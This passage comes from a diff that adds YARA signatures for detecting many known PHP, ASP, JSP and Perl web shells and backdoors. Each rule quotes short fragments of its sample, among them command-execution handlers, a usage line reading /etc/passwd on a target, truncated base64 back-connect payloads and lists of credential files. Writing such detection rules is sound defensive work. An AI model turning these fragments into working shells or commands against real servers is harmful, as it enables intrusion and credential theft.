+		$s0 = "rand(1,99999);$sj98"
+		$s1 = "$dump_file.='`'.$rows2[0].'`"
+		$s3 = "filename=\\\"dump_{$db_dump}_${table_d"
+	condition:
+		2 of them
+}
+rule CmdAsp_asp {
+	meta:
+		description = "Semi-Auto-generated  - file CmdAsp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "64f24f09ec6efaa904e2492dffc518b9"
+	strings:
+		$s0 = "CmdAsp.asp"
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s2 = "-- Use a poor man's pipe ... a temp file --"
+		$s3 = "maceo @ dogmile.com"
+	condition:
+		2 of them
+}
+rule simple_backdoor_php {
+	meta:
+		description = "Semi-Auto-generated  - file simple-backdoor.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "f091d1b9274c881f8e41b2f96e6b9936"
+	strings:
+		$s0 = "$cmd = ($_REQUEST['cmd']);" fullword
+		$s1 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->"
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+	condition:
+		2 of them
+}
+rule mysql_shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql_shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "d42aec2891214cace99b3eb9f3e21a63"
+	strings:
+		$s0 = "SooMin Kim"
+		$s1 = "smkim@popeye.snu.ac.kr"
+		$s2 = "echo \"<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablen"
+	condition:
+		1 of them
+}
+rule Dive_Shell_1_0___Emperor_Hacking_Team_php {
+	meta:
+		description = "Semi-Auto-generated  - file Dive Shell 1.0 - Emperor Hacking Team.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1b5102bdc41a7bc439eea8f0010310a5"
+	strings:
+		$s0 = "Emperor Hacking TEAM"
+		$s1 = "Simshell" fullword
+		$s2 = "ereg('^[[:blank:]]*cd[[:blank:]]"
+		$s3 = "<form name=\"shell\" action=\"<?php echo $_SERVER['PHP_SELF'] ?>\" method=\"POST"
+	condition:
+		2 of them
+}
+rule Asmodeus_v0_1_pl {
+	meta:
+		description = "Semi-Auto-generated  - file Asmodeus v0.1.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0978b672db0657103c79505df69cb4bb"
+	strings:
+		$s0 = "[url=http://www.governmentsecurity.org"
+		$s1 = "perl asmodeus.pl client 6666 127.0.0.1"
+		$s2 = "print \"Asmodeus Perl Remote Shell"
+		$s4 = "$internet_addr = inet_aton(\"$host\") or die \"ALOA:$!\\n\";" fullword
+	condition:
+		2 of them
+}
+rule backup_php_often_with_c99shell {
+	meta:
+		description = "Semi-Auto-generated  - file backup.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "aeee3bae226ad57baf4be8745c3f6094"
+	strings:
+		$s0 = "#phpMyAdmin MySQL-Dump" fullword
+		$s2 = ";db_connect();header('Content-Type: application/octetstr"
+		$s4 = "$data .= \"#Database: $database" fullword
+	condition:
+		all of them
+}
+rule Reader_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Reader.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+	strings:
+		$s1 = "Mehdi & HolyDemon"
+		$s2 = "www.infilak."
+		$s3 = "'*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%><form method=post name=inf><table width=\"75%"
+	condition:
+		2 of them
+}
+rule phpshell17_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpshell17.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9a928d741d12ea08a624ee9ed5a8c39d"
+	strings:
+		$s0 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>" fullword
+		$s1 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]<?php echo PHPSHELL_VERSION ?></"
+		$s2 = "href=\"mailto: [YOU CAN ENTER YOUR MAIL HERE]- [ADDITIONAL TEXT]</a></i>" fullword
+	condition:
+		1 of them
+}
+rule myshell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file myshell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "62783d1db52d05b1b6ae2403a7044490"
+	strings:
+		$s0 = "@chdir($work_dir) or ($shellOutput = \"MyShell: can't change directory."
+		$s1 = "echo \"<font color=$linkColor><b>MyShell file editor</font> File:<font color"
+		$s2 = " $fileEditInfo = \"&nbsp;&nbsp;:::::::&nbsp;&nbsp;Owner: <font color=$"
+	condition:
+		2 of them
+}
+rule SimShell_1_0___Simorgh_Security_MGZ_php {
+	meta:
+		description = "Semi-Auto-generated  - file SimShell 1.0 - Simorgh Security MGZ.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "37cb1db26b1b0161a4bf678a6b4565bd"
+	strings:
+		$s0 = "Simorgh Security Magazine "
+		$s1 = "Simshell.css"
+		$s2 = "} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], "
+		$s3 = "www.simorgh-ev.com"
+	condition:
+		2 of them
+}
+rule jspshall_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file jspshall.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "efe0f6edaa512c4e1fdca4eeda77b7ee"
+	strings:
+		$s0 = "kj021320"
+		$s1 = "case 'T':systemTools(out);break;"
+		$s2 = "out.println(\"<tr><td>\"+ico(50)+f[i].getName()+\"</td><td> file"
+	condition:
+		2 of them
+}
+rule webshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file webshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "e425241b928e992bde43dd65180a4894"
+	strings:
+		$s2 = "<die(\"Couldn't Read directory, Blocked!!!\");"
+		$s3 = "PHP Web Shell"
+	condition:
+		all of them
+}
+rule rootshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file rootshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "265f3319075536030e59ba2f9ef3eac6"
+	strings:
+		$s0 = "shells.dl.am"
+		$s1 = "This server has been infected by $owner"
+		$s2 = "<input type=\"submit\" value=\"Include!\" name=\"inc\"></p>"
+		$s4 = "Could not write to file! (Maybe you didn't enter any text?)"
+	condition:
+		2 of them
+}
+rule connectback2_pl {
+	meta:
+		description = "Semi-Auto-generated  - file connectback2.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "473b7d226ea6ebaacc24504bd740822e"
+	strings:
+		$s0 = "#We Are: MasterKid, AleXutz, FatMan & MiKuTuL                                   "
+		$s1 = "echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shel"
+		$s2 = "ConnectBack Backdoor"
+	condition:
+		1 of them
+}
+rule DefaceKeeper_0_2_php {
+	meta:
+		description = "Semi-Auto-generated  - file DefaceKeeper_0.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "713c54c3da3031bc614a8a55dccd7e7f"
+	strings:
+		$s0 = "target fi1e:<br><input type=\"text\" name=\"target\" value=\"index.php\"></br>" fullword
+		$s1 = "eval(base64_decode(\"ZXZhbChiYXNlNjRfZGVjb2RlKCJhV2R1YjNKbFgzVnpaWEpmWVdKdmNuUW9"
+		$s2 = "<img src=\"http://s43.radikal.ru/i101/1004/d8/ced1f6b2f5a9.png\" align=\"center"
+	condition:
+		1 of them
+}
+rule shells_PHP_wso {
+	meta:
+		description = "Semi-Auto-generated  - file wso.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "33e2891c13b78328da9062fbfcf898b6"
+	strings:
+		$s0 = "$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbi"
+		$s3 = "echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=pos"
+	condition:
+		1 of them
+}
+rule backdoor1_php {
+	meta:
+		description = "Semi-Auto-generated  - file backdoor1.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "e1adda1f866367f52de001257b4d6c98"
+	strings:
+		$s1 = "echo \"[DIR] <A HREF=\\\"\".$_SERVER['PHP_SELF'].\"?rep=\".realpath($rep.\".."
+		$s2 = "class backdoor {"
+		$s4 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?copy=1\\\">Copier un fichier</a> <"
+	condition:
+		1 of them
+}
+rule elmaliseker_asp {
+	meta:
+		description = "Semi-Auto-generated  - file elmaliseker.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+	strings:
+		$s0 = "if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & \"@\" & makeText(8) & \".\""
+		$s1 = "<form name=frmCMD method=post action=\"<%=gURL%>\">"
+		$s2 = "dim zombie_array,special_array"
+		$s3 = "http://vnhacker.org"
+	condition:
+		1 of them
+}
+rule indexer_asp {
+	meta:
+		description = "Semi-Auto-generated  - file indexer.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+	strings:
+		$s0 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+		$s2 = "D7nD7l.km4snk`JzKnd{n_ejq;bd{KbPur#kQ8AAA==^#~@%>></td><td><input type=\"submit"
+	condition:
+		1 of them
+}
+rule DxShell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file DxShell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "33a2b31810178f4c2e71fbdeb4899244"
+	strings:
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "print \"\\n\".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><"
+	condition:
+		1 of them
+}
+rule s72_Shell_v1_1_Coding_html {
+	meta:
+		description = "Semi-Auto-generated  - file s72 Shell v1.1 Coding.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+	strings:
+		$s0 = "Dizin</font></b></font><font face=\"Verdana\" style=\"font-size: 8pt\"><"
+		$s1 = "s72 Shell v1.0 Codinf by Cr@zy_King"
+		$s3 = "echo \"<p align=center>Dosya Zaten Bulunuyor</p>\""
+	condition:
+		1 of them
+}
+rule hidshell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file hidshell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c2f3327d60884561970c63ffa09439a4"
+	strings:
+		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"
+	condition:
+		all of them
+}
+rule kacak_asp {
+	meta:
+		description = "Semi-Auto-generated  - file kacak.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "907d95d46785db21331a0324972dda8c"
+	strings:
+		$s0 = "Kacak FSO 1.0"
+		$s1 = "if request.querystring(\"TGH\") = \"1\" then"
+		$s3 = "<font color=\"#858585\">BuqX</font></a></font><font face=\"Verdana\" style="
+		$s4 = "mailto:BuqX@hotmail.com"
+	condition:
+		1 of them
+}
+rule PHP_Backdoor_Connect_pl_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHP Backdoor Connect.pl.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "57fcd9560dac244aeaf95fd606621900"
+	strings:
+		$s0 = "LorD of IRAN HACKERS SABOTAGE"
+		$s1 = "LorD-C0d3r-NT"
+		$s2 = "echo --==Userinfo==-- ;"
+	condition:
+		1 of them
+}
+rule Antichat_Socks5_Server_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Antichat Socks5 Server.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "cbe9eafbc4d86842a61a54d98e5b61f1"
+	strings:
+		$s0 = "$port = base_convert(bin2hex(substr($reqmessage[$id], 3+$reqlen+1, 2)), 16, 10);" fullword
+		$s3 = "#   [+] Domain name address type"
+		$s4 = "www.antichat.ru"
+	condition:
+		1 of them
+}
+rule Antichat_Shell_v1_3_php {
+	meta:
+		description = "Semi-Auto-generated  - file Antichat Shell v1.3.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "40d0abceba125868be7f3f990f031521"
+	strings:
+		$s0 = "Antichat"
+		$s1 = "Can't open file, permission denide"
+		$s2 = "$ra44"
+	condition:
+		2 of them
+}
+rule Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_php {
+	meta:
+		description = "Semi-Auto-generated  - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+	strings:
+		$s0 = "Welcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy"
+		$s1 = "Mode Shell v1.0</font></span>"
+		$s2 = "has been already loaded. PHP Emperor <xb5@hotmail."
+	condition:
+		1 of them
+}
+rule mysql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "12bbdf6ef403720442a47a3cc730d034"
+	strings:
+		$s0 = "action=mysqlread&mass=loadmass\">load all defaults"
+		$s2 = "if (@passthru($cmd)) { echo \" -->\"; $this->output_state(1, \"passthru"
+		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = "
+	condition:
+		1 of them
+}
+rule Worse_Linux_Shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file Worse Linux Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+	strings:
+		$s1 = "print \"<tr><td><b>Server is:</b></td><td>\".$_SERVER['SERVER_SIGNATURE'].\"</td"
+		$s2 = "print \"<tr><td><b>Execute command:</b></td><td><input size=100 name=\\\"_cmd"
+	condition:
+		1 of them
+}
+rule cyberlords_sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file cyberlords_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "03b06b4183cb9947ccda2c3d636406d4"
+	strings:
+		$s0 = "Coded by n0 [nZer0]"
+		$s1 = " www.cyberlords.net"
+		$s2 = "U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE"
+		$s3 = "return \"<BR>Dump error! Can't write to \".htmlspecialchars($file);"
+	condition:
+		1 of them
+}
+rule cmd_asp_5_1_asp {
+	meta:
+		description = "Semi-Auto-generated  - file cmd-asp-5.1.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+	strings:
+		$s0 = "Call oS.Run(\"win.com cmd.exe /c del \"& szTF,0,True)" fullword
+		$s3 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
+	condition:
+		1 of them
+}
+rule pws_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file pws.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ecdc6c20f62f99fa265ec9257b7bf2ce"
+	strings:
+		$s0 = "<div align=\"left\"><font size=\"1\">Input command :</font></div>" fullword
+		$s1 = "<input type=\"text\" name=\"cmd\" size=\"30\" class=\"input\"><br>" fullword
+		$s4 = "<input type=\"text\" name=\"dir\" size=\"30\" value=\"<? passthru(\"pwd\"); ?>"
+	condition:
+		2 of them
+}
+rule PHP_Shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHP Shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
+	strings:
+		$s0 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
+		$s1 = "echo \"<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\"><input type="
+	condition:
+		all of them
+}
+rule Ayyildiz_Tim___AYT__Shell_v_2_1_Biz_html {
+	meta:
+		description = "Semi-Auto-generated  - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8a8c8bb153bd1ee097559041f2e5cf0a"
+	strings:
+		$s0 = "Ayyildiz"
+		$s1 = "TouCh By iJOo"
+		$s2 = "First we check if there has been asked for a working directory"
+		$s3 = "http://ayyildiz.org/images/whosonline2.gif"
+	condition:
+		2 of them
+}
+rule EFSO_2_asp {
+	meta:
+		description = "Semi-Auto-generated  - file EFSO_2.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b5fde9682fd63415ae211d53c6bfaa4d"
+	strings:
+		$s0 = "Ejder was HERE"
+		$s1 = "*~PU*&BP[_)f!8c2F*@#@&~,P~P,~P&q~8BPmS~9~~lB~X`V,_,F&*~,jcW~~[_c3TRFFzq@#@&PP,~~"
+	condition:
+		2 of them
+}
+rule lamashell_php {
+	meta:
+		description = "Semi-Auto-generated  - file lamashell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "de9abc2e38420cad729648e93dfc6687"
+	strings:
+		$s0 = "lama's'hell" fullword
+		$s1 = "if($_POST['king'] == \"\") {"
+		$s2 = "if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir.\"/\".$_FILES['f"
+	condition:
+		1 of them
+}
+rule Ajax_PHP_Command_Shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file Ajax_PHP Command Shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "93d1a2e13a3368a2472043bd6331afe9"
+	strings:
+		$s1 = "newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>"
+		$s2 = "Empty Command..type \\\"shellhelp\\\" for some ehh...help"
+		$s3 = "newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enct"
+	condition:
+		1 of them
+}
+rule JspWebshell_1_2_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file JspWebshell 1.2.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "70a0ee2624e5bbe5525ccadc467519f6"
+	strings:
+		$s0 = "JspWebshell"
+		$s1 = "CreateAndDeleteFolder is error:"
+		$s2 = "<td width=\"70%\" height=\"22\">&nbsp;<%=env.queryHashtable(\"java.c"
+		$s3 = "String _password =\"111\";"
+	condition:
+		2 of them
+}
+rule Sincap_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Sincap.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b68b90ff6012a103e57d141ed38a7ee9"
+	strings:
+		$s0 = "$baglan=fopen(\"/tmp/$ekinci\",'r');"
+		$s2 = "$tampon4=$tampon3-1"
+		$s3 = "@aventgrup.net"
+	condition:
+		2 of them
+}
+rule Test_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file Test.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "77e331abd03b6915c6c6c7fe999fcb50"
+	strings:
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";" fullword
+		$s2 = "fwrite ($fp, \"$yazi\");" fullword
+		$s3 = "$entry_line=\"HACKed by EntriKa\";" fullword
+	condition:
+		1 of them
+}
+rule Phyton_Shell_py {
+	meta:
+		description = "Semi-Auto-generated  - file Phyton Shell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "92b3c897090867c65cc169ab037a0f55"
+	strings:
+		$s1 = "sh_out=os.popen(SHELL+\" \"+cmd).readlines()" fullword
+		$s2 = "#   d00r.py 0.3a (reverse|bind)-shell in python by fQ" fullword
+		$s3 = "print \"error; help: head -n 16 d00r.py\"" fullword
+		$s4 = "print \"PW:\",PW,\"PORT:\",PORT,\"HOST:\",HOST" fullword
+	condition:
+		1 of them
+}
+rule mysql_tool_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file mysql_tool.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5fbe4d8edeb2769eda5f4add9bab901e"
+	strings:
+		$s0 = "$error_text = '<strong>Failed selecting database \"'.$this->db['"
+		$s1 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERV"
+		$s4 = "<div align=\"center\">The backup process has now started<br "
+	condition:
+		1 of them
+}
+rule Zehir_4_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Zehir 4.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "7f4e12e159360743ec016273c3b9108c"
+	strings:
+		$s2 = "</a><a href='\"&dosyapath&\"?status=10&dPath=\"&f1.path&\"&path=\"&path&\"&Time="
+		$s4 = "<input type=submit value=\"Test Et!\" onclick=\""
+	condition:
+		1 of them
+}
+rule sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "330af9337ae51d0bac175ba7076d6299"
+	strings:
+		$s1 = "$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/e"
+		$s2 = "Show <input type=text size=5 value=\".((isset($_POST['br_st']))?$_POST['br_st']:"
+	condition:
+		1 of them
+}
+rule phpbackdoor15_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpbackdoor15.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0fdb401a49fc2e481e3dfd697078334b"
+	strings:
+		$s1 = "echo \"fichier telecharge dans \".good_link(\"./\".$_FILES[\"fic\"][\"na"
+		$s2 = "if(move_uploaded_file($_FILES[\"fic\"][\"tmp_name\"],good_link(\"./\".$_FI"
+		$s3 = "echo \"Cliquez sur un nom de fichier pour lancer son telechargement. Cliquez s"
+	condition:
+		1 of them
+}
+rule phpjackal_php {
+	meta:
+		description = "Semi-Auto-generated  - file phpjackal.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "ab230817bcc99acb9bdc0ec6d264d76f"
+	strings:
+		$s3 = "$dl=$_REQUEST['downloaD'];"
+		$s4 = "else shelL(\"perl.exe $name $port\");"
+	condition:
+		1 of them
+}
+rule sql_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8334249cbb969f2d33d678fec2b680c5"
+	strings:
+		$s1 = "fputs ($fp, \"# RST MySQL tools\\r\\n# Home page: http://rst.void.ru\\r\\n#"
+		$s2 = "http://rst.void.ru"
+		$s3 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+	condition:
+		1 of them
+}
+rule cgi_python_py {
+	meta:
+		description = "Semi-Auto-generated  - file cgi-python.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0a15f473e2232b89dae1075e1afdac97"
+	strings:
+		$s0 = "a CGI by Fuzzyman"
+		$s1 = "\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + "
+		$s2 = "values = map(lambda x: x.value, theform[field])     # allows for"
+	condition:
+		1 of them
+}
+rule ru24_post_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ru24_post_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5b334d494564393f419af745dc1eeec7"
+	strings:
+		$s1 = "<title>Ru24PostWebShell - \".$_POST['cmd'].\"</title>" fullword
+		$s3 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s4 = "Writed by DreAmeRz" fullword
+	condition:
+		1 of them
+}
+rule DTool_Pro_php {
+	meta:
+		description = "Semi-Auto-generated  - file DTool Pro.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "366ad973a3f327dfbfb915b0faaea5a6"
+	strings:
+		$s0 = "r3v3ng4ns\\nDigite"
+		$s1 = "if(!@opendir($chdir)) $ch_msg=\"dtool: line 1: chdir: It seems that the permissi"
+		$s3 = "if (empty($cmd) and $ch_msg==\"\") echo (\"Comandos Exclusivos do DTool Pro\\n"
+	condition:
+		1 of them
+}
+rule telnetd_pl {
+	meta:
+		description = "Semi-Auto-generated  - file telnetd.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5f61136afd17eb025109304bd8d6d414"
+	strings:
+		$s0 = "0ldW0lf" fullword
+		$s1 = "However you are lucky :P"
+		$s2 = "I'm FuCKeD"
+		$s3 = "ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);#"
+		$s4 = "atrix@irc.brasnet.org"
+	condition:
+		1 of them
+}
+rule php_include_w_shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file php-include-w-shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "4e913f159e33867be729631a7ca46850"
+	strings:
+		$s0 = "$dataout .= \"<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incd"
+		$s1 = "if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB"
+	condition:
+		1 of them
+}
+rule Safe0ver_Shell__Safe_Mod_Bypass_By_Evilc0der_php {
+	meta:
+		description = "Semi-Auto-generated  - file Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "6163b30600f1e80d2bb5afaa753490b6"
+	strings:
+		$s0 = "Safe0ver" fullword
+		$s1 = "Script Gecisi Tamamlayamadi!"
+		$s2 = "document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%"
+	condition:
+		1 of them
+}
+rule shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1a95f0163b6dea771da1694de13a3d8d"
+	strings:
+		$s1 = "/* We have found the parent dir. We must be carefull if the parent " fullword
+		$s2 = "$tmpfile = tempnam('/tmp', 'phpshell');"
+		$s3 = "if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {" fullword
+	condition:
+		1 of them
+}
+rule telnet_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file telnet.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "dee697481383052980c20c48de1598d1"
+	strings:
+		$s1 = "W A R N I N G: Private Server"
+		$s2 = "print \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie"
+		$s3 = "$Prompt = $WinNT ? \"$CurrentDir> \" : \"[admin\\@$ServerName $C"
+	condition:
+		1 of them
+}
+rule ironshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file ironshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+	strings:
+		$s0 = "www.ironwarez.info"
+		$s1 = "$cookiename = \"wieeeee\";"
+		$s2 = "~ Shell I"
+		$s3 = "www.rootshell-team.info"
+		$s4 = "setcookie($cookiename, $_POST['pass'], time()+3600);"
+	condition:
+		1 of them
+}
+rule backdoorfr_php {
+	meta:
+		description = "Semi-Auto-generated  - file backdoorfr.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "91e4afc7444ed258640e85bcaf0fecfc"
+	strings:
+		$s1 = "www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tan"
+		$s2 = "print(\"<br>Provenance du mail : <input type=\\\"text\\\" name=\\\"provenanc"
+	condition:
+		1 of them
+}
+rule aspydrv_asp {
+	meta:
+		description = "Semi-Auto-generated  - file aspydrv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1c01f8a88baee39aa1cebec644bbcb99"
+		score = 60
+	strings:
+		$s0 = "If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))"
+		$s1 = "password"
+		$s2 = "session(\"shagman\")="
+	condition:
+		2 of them
+}
+rule cmdjsp_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file cmdjsp.jsp.txt"
